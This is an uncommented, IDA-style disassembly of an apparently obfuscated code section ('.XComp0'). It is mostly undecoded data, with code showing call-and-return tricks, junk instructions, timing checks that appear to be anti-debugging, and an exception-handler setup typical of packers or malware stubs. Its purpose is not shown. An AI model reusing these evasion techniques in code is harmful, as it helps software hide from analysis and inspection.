6A90E11Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8141C351h, 0D28B41DFh, 0C1850303h, 905FD75h dd 0F9074D95h, 8B669005h, 11E950D6h, 82000000h, 489B32F4h dd 30EB0133h, 0EF95BCE9h, 0E27FE905h, 56006A90h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0E45B7D6Bh, 0E96CF18Fh, 7, 0D36A626Eh, 6A378125h, 6800F04h dd 89000000h, 0F90D7DBDh, 8B665005h, 240489CFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0CAC35343h, 75CD95FFh dd 0D88B05FDh, 31D19D29h, 6A5805F9h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 52B7C353h dd 662B9020h, 0D75EC181h, 840FDB0Bh, 30h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FDC35343h, 8293B167h dd 0FB675D1h, 1CAE902h, 958B0000h, 5F91B15h, 10000C6h dd 0F9076D85h, 6A5805h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 824B5DC3h, 0D1950359h, 5005F92Bh dd 50605250h, 5A310F52h, 0A2BF6658h, 310F6132h, 585AD08Bh dd 8B240489h, 0F9256D8Dh, 0BD896005h, 5F906CDh, 4B24B966h dd 11E6A61h, 0F9223D9Dh, 52509005h, 0F525060h, 8B585A31h dd 310F61F3h, 0F525060h, 61585A31h, 8A50585Ah, 0D58090F3h dd 61BD8B24h, 0FF05F914h, 0FD75CD95h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 27DE5D28h, 2CF14F73h, 59858954h, 8B05F926h, 816658D8h dd 66248BC1h, 0B0BB4B9h, 0D840FDBh, 8B000000h, 0F904F98Dh dd 0EEE905h, 0F88B0000h, 50D68B90h, 12E8h, 0C3DD3400h dd 0D54B1EFCh, 0EB2234Dh, 0D632717Fh, 5F0034DAh, 7E990h dd 2C680000h, 0ADCCD29Dh, 0ADB5FF19h, 8905FD75h, 0F9211995h dd 0B195FF05h, 0F805FD75h, 850FC00Bh, 6Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh dd 0CDC35747h, 0E290214Ah, 62F7A73Bh, 614AB159h, 6860F60h dd 29000000h, 0F92661BDh, 0BBB86605h, 85C76168h, 5FD75B5h dd 1, 0F18B6660h, 28DD8D31h, 0E96105F9h, 54h, 12E956h dd 62F10000h, 8CFA4283h, 4274E332h, 0BF2C42B5h, 1EA8F3E4h dd 12E86159h, 0FD000000h, 89226C6Fh, 0F224B2D1h, 0BCBA7AA1h dd 4FA7035Ch, 0B820F85h, 0E9000000h, 6, 0CFCE9C80h, 81594BD0h dd 11CC6h, 0F93BE900h, 8D8BFFFFh, 5F90825h, 3754D868h dd 0A4BB95Ch, 34813766h, 37D4D824h, 6AF55Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C35545h, 5880Fh dd 33BA0000h, 0FF70ED37h, 0FD75BDB5h, 4890F05h, 66000000h dd 0FF7BC3BFh, 0F9275195h, 0C9816605h, 8F0FCF6Ah, 0 ; --------------------------------------------------------------------------- mov eax, [ebp+5FD75B5h] xor di, 7C87h nop jb loc_5B3C32 mov di, 1D03h loc_5B3C32: ; CODE XREF: .XComp0:005B3C28j push eax pusha mov bx, dx mov bx, si popa nop push 0 push edx call sub_5B3C47 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3C47 proc near ; CODE XREF: .XComp0:005B3C3Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5B3C47 endp ; --------------------------------------------------------------------------- db 0BCh dd 0C5858DDFh, 6A05FD75h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0F074C351h, 0AAB171BAh dd 0DE864h, 0F15B0000h, 0E39F1C80h, 0C84F5493h, 0F438F46h dd 680h, 0B99D3100h, 5905F91Ah, 52505690h, 0FE9h, 35004900h dd 0B748CFB6h, 184A0A94h, 97BC2317h, 8AB6310Fh, 505A585Ah dd 6A90D78Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 9271C353h, 95236731h, 5F91E95h dd 18D19589h, 858D05F9h, 5FD7582h, 8950FE8Bh, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0BB4937C3h, 2E55BD8Bh, 95FF05F9h, 5F90B2Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1FC35242h, 0E58D01FCh dd 8B05F91Fh, 0CFBF0FC0h, 0C9BD83F9h, 5F931h, 0BD830975h dd 5F912B5h, 50137400h, 0B8C08B53h, 4D0h, 0F1BF9D8Dh, 0D3FF05FBh dd 0BD83585Bh, 5F912B5h, 50117400h, 4D0B853h, 9D8D0000h dd 5FBF0BEh, 585BD3FFh, 0CE9h, 2C3F0200h, 91C555AAh, 0AD3D0CADh dd 0FC08BA0h, 682h, 258D0900h, 5805F928h, 0C2D3BF0Fh, 0E9600008h dd 13h, 0B4A0F488h, 15E0DE1h, 7E121568h, 2E4980E4h, 6159E917h dd 858DC08Bh, 5FD75DBh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 52C35646h, 25BE1C91h, 7CCBE80Eh, 9E9h dd 0AD13100h, 530F785h, 858974B4h, 5F92449h, 75E9h, 8C666000h dd 0F04A8D8h, 3584h, 0FF016A00h, 0F92719B5h, 10858D05h dd 0FF05FCC5h, 58589D0h, 8B05F91Eh, 0CEFC1FEh, 4000068h dd 6A006A20h, 0D685702h, 0FF000100h, 0F91E0595h, 32E905h dd 85C60000h, 5F91899h, 30DF6856h, 0B5FFA9C5h, 5F908D1h dd 0C510858Dh, 0D0FF05FCh, 0F658589h, 858D05F9h, 5F918C1h dd 6A206A50h, 95FF5605h, 5F90F65h, 0E0C1C361h, 0F606006h dd 185h, 0BF0FF800h, 0C08B61CFh, 0F43CE981h, 0BD834435h dd 5F931C9h, 83097500h, 0F912B5BDh, 19740005h, 0C08B5350h dd 438B8h, 0E9858900h, 8D05F928h, 0FBF3849Dh, 5BD3FF05h dd 0B5BD8358h, 5F912h, 53501774h, 438B8h, 0E9858900h, 8D05F928h dd 0FBF0739Dh, 5BD3FF05h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0F1B589F8h dd 8B05F926h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0E11394AEh, 840794B2h, 1395BD29h dd 0DDE805F9h, 81000007h, 7BCC45CEh, 0CF8B6676h, 3D18589h dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 3B4A3FC3h, 1C0BEE8Fh, 7A7E8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8B83D80Ch, 0F90E15B5h, 0EDB52305h, 8905F918h, 0F9346585h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0CE475F0Fh, 16F18D89h, 4DE805F9h, 81000007h dd 35DB47E6h, 0A185891Eh, 6A05F91Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EFA6C357h dd 3737B8CCh, 655BD8Bh, 0B96605F9h, 11E82F64h, 6A000007h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 4426C356h, 12DCE2Ah, 55BD235Dh, 8905F90Ch dd 0F9179985h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8531141Dh, 5F91985h, 6BBE8h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 1A58265Ch, 5AA1D210h, 880FDF76h, 0 ; --------------------------------------------------------------------------- mov [ebp+5F90FD9h], eax push 0 push esi call sub_5B4099 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4099 proc near ; CODE XREF: .XComp0:005B4091p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5B4099 endp ; --------------------------------------------------------------------------- db 88h, 0F4h, 0A0h ; --------------------------------------------------------------------------- add [ebp+5F90D01h], ebx jmp loc_5B40BC ; --------------------------------------------------------------------------- db 5Dh dd 2796B96h ; --------------------------------------------------------------------------- loc_5B40BC: ; CODE XREF: .XComp0:005B40B2j call sub_5B4718 push 0 push ebx call sub_5B40CC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B40CC proc near ; CODE XREF: .XComp0:005B40C4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5B40CC endp ; --------------------------------------------------------------------------- dd 0A8371362h, 159D8589h, 950905F9h, 5F91F8Dh, 20E98D33h dd 21E805F9h, 6A000006h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 99A2C351h, 0B3E6D27Fh dd 9D29A9B5h, 5F9253Dh, 32E98589h, 0B58B05F9h, 5F90B09h dd 0E2816660h, 81664603h, 6147FDF2h, 5DBE8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 42089557h, 0AE536401h, 8B66F868h, 98589CFh, 0E905F924h dd 14h, 0F8A91FF9h, 31D1C6C5h, 41353DE4h, 6DBC213Eh, 0F4E52270h dd 0E8CE8B66h, 58Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 34C35545h, 98405E2Ah, 0F5357F9h, 8Bh dd 895E5E00h, 0F9075185h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 35593300h dd 26918D33h, 0B50B05F9h, 5F91B2Dh, 52BE8h, 6BB96600h dd 0DD858986h, 0E805F916h, 11h, 0A22D29ADh, 731DD64Fh dd 0CF1DFA3Dh, 6FDBBF29h, 59F38BBAh, 503E8h, 81666000h dd 19805C8h, 0F92B6D95h, 85896105h, 5F91771h, 10E9h, 0C8840300h dd 0FDD03165h, 80F25D34h, 2AF00357h, 4D6E8E2h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 62E89FC3h, 66856514h, 8589C88Bh, 5F913ADh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DDC35343h, 56538C51h dd 0B5290F6Ah, 5F9164Dh, 47FE8h, 0A9B58B00h, 8905F926h dd 0F913D985h, 0C890F05h, 0F000000h, 686h, 8D0F00h, 0E8000000h dd 45Ch, 223DBD31h, 858905F9h, 5F91091h, 0A37DBF66h, 447E8h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0B543232Ch, 894B4339h, 0F92795B5h, 0B58D8B05h dd 8905F925h, 0F92A6985h, 0A9BD2305h, 5605F900h, 5ECE8B66h dd 403E8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 4AB34D65h, 89B58D57h, 0F91FD995h dd 5D858905h, 6605F927h, 0A08DC181h, 0AE900B0h, 18000000h dd 0CEB84DA8h, 0E3A54313h, 0D8B60F91h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 94C35646h, 8EABBE2Ah, 23EB7584h dd 0F905DDB5h, 6BA05h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 7D43ABC3h, 0AD9490A3h dd 8B234591h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 4DB58BD0h, 0F805F931h, 6A04E8C1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8BACC351h, 0E2F766F8h, 3B98D8Bh, 0D82B05F9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 1DC35141h dd 93FB0EF6h, 8B665250h, 50310FCAh, 0F616052h, 5ACE8B31h dd 50585A58h, 8D0F5250h, 2, 310F6160h, 8193585Ah, 0DE406AC7h dd 9195FF78h, 6605F913h, 6A5BF78Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 249AC350h dd 8D8B0ADAh, 5F927ADh, 14A5958Dh, 6A05F9h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 695A62C3h dd 89F98B66h, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0F2A1FAA9h, 26B4BFFCh, 8B66E420h dd 44289C8h, 0B58B16B5h, 5F918DDh, 2B01958Dh, 89F905F9h dd 0A5B52B1Ah, 8905F92Ch, 6A0442h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0D2D984C3h, 6830Fh, 95090000h dd 5F93331h, 1339958Dh, 6A05F9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0BF674BC3h, 8D896050h dd 5F91A9Dh, 0B459D89h, 5E6105F9h, 42891A89h, 50006A04h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 25FD735Dh, 0E644128Bh, 32E58D8Bh, 0D68105F9h, 7D7C0BE3h dd 1249958Dh, 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0C66C53C3h, 1A89DF6Ah, 89F18B66h dd 6A0442h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E9F9F9C3h, 14h, 7B8EF8CCh, 0CA13872Bh, 2C0AAE45h dd 0C935B547h, 0B83E269Ah, 9C5958Dh, 8B6005F9h, 0F90539BDh dd 0FAB70F05h, 6A1A8961h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 6E60C352h, 48B0Fh dd 0B1520000h, 42895EF8h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 41DB89DCh dd 0FDB58964h, 8D05F91Ah, 0F91A9595h, 0CB8B6605h, 8FC98166h dd 891A8930h, 0F933F595h, 4428905h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0F5C35747h, 0A1958DF8h, 6605F932h dd 1A89F88Bh, 89CFBF0Fh, 6A0442h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8DFEE8C3h, 0F9041995h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0B5DC4400h, 661A89BCh, 0A01ACE81h, 6A044289h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0CF4C357h, 0E93722DAh, 120h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DFC35141h, 72709DEAh ; =============== S U B R O U T I N E ======================================= sub_5B4718 proc near ; CODE XREF: .XComp0:loc_5B40BCp push 0 push 0 push ebx call sub_5B4725 and [ebx-3Dh], bl sub_5B4718 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B4725 proc near ; CODE XREF: sub_5B4718+5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5B4725 endp ; --------------------------------------------------------------------------- db 0A4h, 0D4h, 0F8h dd 0FC03F46h, 86h, 6A006A00h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 5238C352h, 0F8F2656Bh dd 820F9444h, 3, 80CFB70Fh, 6AECD5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 2EC35040h, 0D1C6E24h, 6A0E6Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C2C35343h dd 0F442AD17h, 8E960h, 13EF0000h, 0BB694B92h, 0D380BDD5h dd 95FF61F3h, 5F92B15h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 77C35747h, 0C3F9D4ECh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 15h, 0B8C35242h, 2D8D8980h dd 8B05F909h, 0FA8B66CEh, 6AC58Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 3B2691C3h, 0CC9A6FBBh dd 0B70F14F5h, 6AC08BFAh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0FB06C357h, 31C9BD83h dd 750005F9h, 0B5BD8309h, 5F912h, 53501974h, 38B8C08Bh dd 89000004h, 0F915DD85h, 0EB9D8D05h, 0FF05FBF3h, 83585BD3h dd 0F912B5BDh, 17740005h, 38B85350h, 89000004h, 0F915DD85h dd 8C9D8D05h, 0FF05FBF0h, 6A585BD3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 4098C350h dd 0A524BB12h, 81663D3Eh, 662890E9h, 7D4BEF81h, 858DC08Bh dd 5F90DC1h, 895021B3h, 0EE92404h, 0E0000000h, 72A7D01Bh dd 2662D283h, 0A9302B36h, 6A006A9Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A838C356h dd 0DD9D8953h, 5F05F932h, 858D006Ah, 5FD9531h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 53C35242h, 0B87AAF53h dd 58208AA5h, 1A8A0F84h, 0E8000000h, 0Eh, 31B5AB1Bh, 0D1275C80h dd 0DA38ABA0h, 9D290946h, 5F9348Dh, 0DAB70F5Bh, 19BD29h dd 0C08305F9h, 0DE86005h, 27000000h, 0DD88ED4Dh, 0DE61E9CFh dd 33AB2903h, 8F0Fh, 895E0000h, 0F928058Dh, 0BF906105h dd 46567971h, 0DE850h, 23D10000h, 760D89D6h, 0ECD303E8h dd 8BCA5410h, 0E9905BD8h, 11h, 0B28F4FD1h, 0EAD3E1C2h dd 37F381C9h, 540D2788h, 6A006A11h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5F1FC352h dd 696F2017h, 3A60EF81h, 6A2E0Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0D7C35747h, 0FFA14C98h, 0F913ED95h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0B48736EAh, 9E7604Eh, 0F904AD95h, 838D8D05h dd 8B05FCE9h, 0F92585BDh, 0D3816605h, 0D1FFF176h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 52C35646h, 2A098531h dd 0BD8305F9h, 5F91785h, 97850F01h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0CEE8C350h, 91BDB643h, 840F026Ah, 3, 50DBBF0Fh, 52505250h dd 0ADCBF66h, 0FB8B310Fh, 310F585Ah, 8E0F5250h, 0 dd 5F51310Fh, 585A585Ah, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0FD02C355h dd 0B569BD7Eh, 0FFF85027h, 0F9009995h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 25E9F9B1h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 5FD953Bh mov bx, 0FC78h mov [ebp+5F91EFDh], esi lea eax, [ebp+5FCD97Ch] or edi, [ebp+5F913B9h] nop jmp loc_5B4B54 ; --------------------------------------------------------------------------- db 76h dd 151B8331h, 0EAABBA23h ; --------------------------------------------------------------------------- loc_5B4B54: ; CODE XREF: .XComp0:005B4B46j push eax jmp loc_5B4B69 ; --------------------------------------------------------------------------- dw 6347h dd 89F8AD45h, 4EED632Fh, 0A024983Fh db 84h ; --------------------------------------------------------------------------- loc_5B4B69: ; CODE XREF: .XComp0:005B4B55j nop pusha clc popa push large dword ptr fs:0 movsx ebx, di mov large fs:0, esp push 0 push ebp call sub_5B4B89 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4B89 proc near ; CODE XREF: .XComp0:005B4B81p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5B4B89 endp ; --------------------------------------------------------------------------- db 0A6h, 0D2h, 67h dd 0BD378EDCh, 8B606628h, 0F9177595h, 5958B05h, 6105F928h dd 197D85FFh, 8E805F9h, 14000000h, 6704EA34h, 89C73D6Eh dd 0F927A195h, 0FF6A5B05h, 0DD1B509h, 0B5FF05F9h, 5F903D1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 92C35545h dd 0D648E8C5h, 0B1958950h, 0FF05F928h, 0F9091195h, 128E905h dd 0BE90000h, 39000000h, 0EFEEABDEh, 0C619ED44h, 0B02F3Dh dd 0E6FABF0Fh, 0D8D8970h, 0E405F90Dh, 3CFC8A71h, 0FF830F61h dd 0F000000h, 0B60FDEB7h, 0DE9C8h, 3F1E0000h, 927C5828h dd 17F7426Eh, 0BAF80788h, 6, 0FE9h, 9D9E5800h, 0BDE20A1Ch dd 0FD5BD465h, 0C621681Dh, 7198D31h, 0C18B05F9h, 41B58960h dd 0F505F910h, 4E8C161h, 24E98D89h, 0F76605F9h, 6870FE2h dd 29000000h, 0F917BD9Dh, 8AC82B05h, 0DB8166FCh, 0D18BAB29h dd 7459D8Bh, 6E905F9h, 9000000h, 0F92DB18Dh, 0A5858B05h dd 0F05F914h, 0BD03DABFh, 5F90521h, 0F907C083h, 46E78166h dd 0C083B0h, 0F61BD8Bh, 0D03B05F9h, 24830Fh, 0B5890000h dd 5F9258Dh, 55E9h, 13830F00h, 60000000h, 8F1B58Bh, 5E805F9h dd 86000000h, 0CB54EFBEh, 8D8B615Bh, 5F910D5h, 0F01E183h dd 2D84h, 918D0100h, 6605F931h, 0FA69C781h, 10D5A583h dd 66FE05F9h, 343BDB81h, 14A59589h, 9D8B05F9h, 5F92B81h dd 0DFDF8166h, 0E90Dh, 0B58D0000h, 5FD1407h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C6C35545h, 3DE431D1h dd 213E4135h, 8A0F60BCh, 5, 90DEA9B9h, 0E8816627h, 6A615C31h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 2BD1D015h, 0F92C85BDh, 0ED95FF05h, 8B05F91Ah dd 0F9162D9Dh, 799D8905h, 0B905F90Ch, 7DEh, 10E9BD09h dd 0E18305F9h, 6E9FCh, 87390000h, 0A9290181h, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0DE0E43A6h, 0B8h, 0BA00h, 0B5890000h, 5F904CDh, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0B5C35646h, 5F8F12ECh, 6A3CC7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F3A0EC3h, 880DF8BFh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 34D2C356h dd 6C13D118h, 266DC286h, 0CDD958Bh, 6A05F9h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 66CED5C3h dd 0E781FB71h, 4E34B58Bh, 26C18D8Bh, 6A05F9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0F8B983C3h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 9E585AC3h, 0E20A1C9Dh, 52D465BDh, 39BD8B5Fh, 6A05F917h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 1E49C353h, 0CD4A818Eh, 68F0F83h, 89000000h dd 0F91ADD8Dh, 59BD8305h, 5F911h, 65840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 878A62C3h, 64A174D8h, 732862BBh, 860F3Dh, 0B8000000h dd 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+5F94EE8h] push 0 push ebp call sub_5B4F75 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4F75 proc near ; CODE XREF: .XComp0:005B4F6Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5B4F75 endp ; --------------------------------------------------------------------------- align 2 db 36h inc ecx mov ecx, 391C3A0h retf 0FF55h ; --------------------------------------------------------------------------- dd 0D7DB81E1h, 83609EE9h, 0F900FDBDh, 840F0005h, 3C8h dd 0FDBD83FCh, 105F900h, 3D5840Fh, 86BB0000h, 83719364h dd 0F900FDBDh, 860F0305h, 38Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0E9C35545h, 0BD7F6A66h, 2BB1BD89h dd 0BB6605F9h, 0BF600723h, 728CC618h, 89D98C66h, 0F91829B5h dd 4E18005h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0C9C35242h, 889D72D1h, 0AEE38166h, 0FC90A12h, 12784h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 11BD2B24h, 8B05F920h, 0F9259985h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 35BD8BC0h, 8B05F904h, 0F918ADBDh, 2D853305h, 6A05F904h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 2B73C351h, 8391435Fh, 90FFB70Fh, 4FBE6660h dd 0CBFEB800h, 50616A2Ch, 412BEFBBh, 6A9060h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0E3B4AAC3h dd 0F0D6196h, 281h, 813EB700h, 0DD0D39CFh, 89006A05h, 0F9105595h dd 97656805h, 5E99E18h, 57000000h, 5C5B1563h, 9A240481h dd 6662066Ch, 816BEB81h, 2AC595FFh, 8E905F9h, 41000000h dd 2535B99Ch, 89E5A2B3h, 0FCFC2185h, 5E905h, 57230000h dd 0E9944DACh, 1C2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 80C35040h, 1F83157Bh, 0FC19858Bh, 0FB8B05FCh dd 1800C7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 6CAAADC3h, 0BAACAECFh, 0E9F88BFEh dd 9, 7397416Ch, 0D6E7A5BFh, 1DB58B45h, 6005FCFCh, 3175BD29h dd 6E805F9h, 0A2000000h, 0B021EA1Bh, 5AF78B31h, 5E95661h dd 0D1000000h, 79A60EBh, 89858B5Fh, 6A05F92Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0A448C353h, 8021F5C3h, 689D6EBh, 0DB9CDBFh, 8BEDB74Bh dd 0F9259985h, 57BFF505h, 890A35ABh, 0B5890446h, 5F925F9h dd 1E880F50h, 0E8000000h, 7, 0F363F595h, 0E94B3A79h, 0Ch dd 0A4954B5Eh, 24854FEh, 0BD85B8DAh, 2434895Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 4CC35747h, 66E3278Eh dd 0DAE6CB81h, 2481BD09h, 0B5FF05F9h, 5FCFC19h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 3FC35545h, 0F0E611DEh dd 5B2E5068h, 0E95250C1h, 12h, 1E191569h, 3DD322DEh, 0F0B1329Ah dd 5AAC4E48h, 310F2F13h, 9697F9BFh, 81585A28h, 0D5AF2404h dd 6A3EC3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 2A1E4DC3h, 1793820h, 858D4EF1h, 5FCFC21h dd 0FB8B5090h, 0DE990h, 26490000h, 0DE589A63h, 0BA1337B4h dd 0FF9A4CBBh, 0F92AC595h, 0D7816605h, 66610DC9h, 2B46DB81h dd 0FD85C7h, 305F9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 50ED45C3h, 1672C096h dd 662D65ECh, 0BD83D88Bh, 5FCFC21h, 16840F00h, 29000000h dd 0F92A9DBDh, 8EA0BB05h, 21E953CEh, 0F000000h, 88h, 0C305000h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0F88D0BBFh dd 13E972h, 20000h, 858FB8F4h, 283B3DBAh, 7405F024h, 0A2655B5Ch dd 0FDBD8397h, 305F900h, 42C850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 831DCAC3h dd 0FCFC21BDh, 840F0005h, 402h, 3890F50h, 0F000000h, 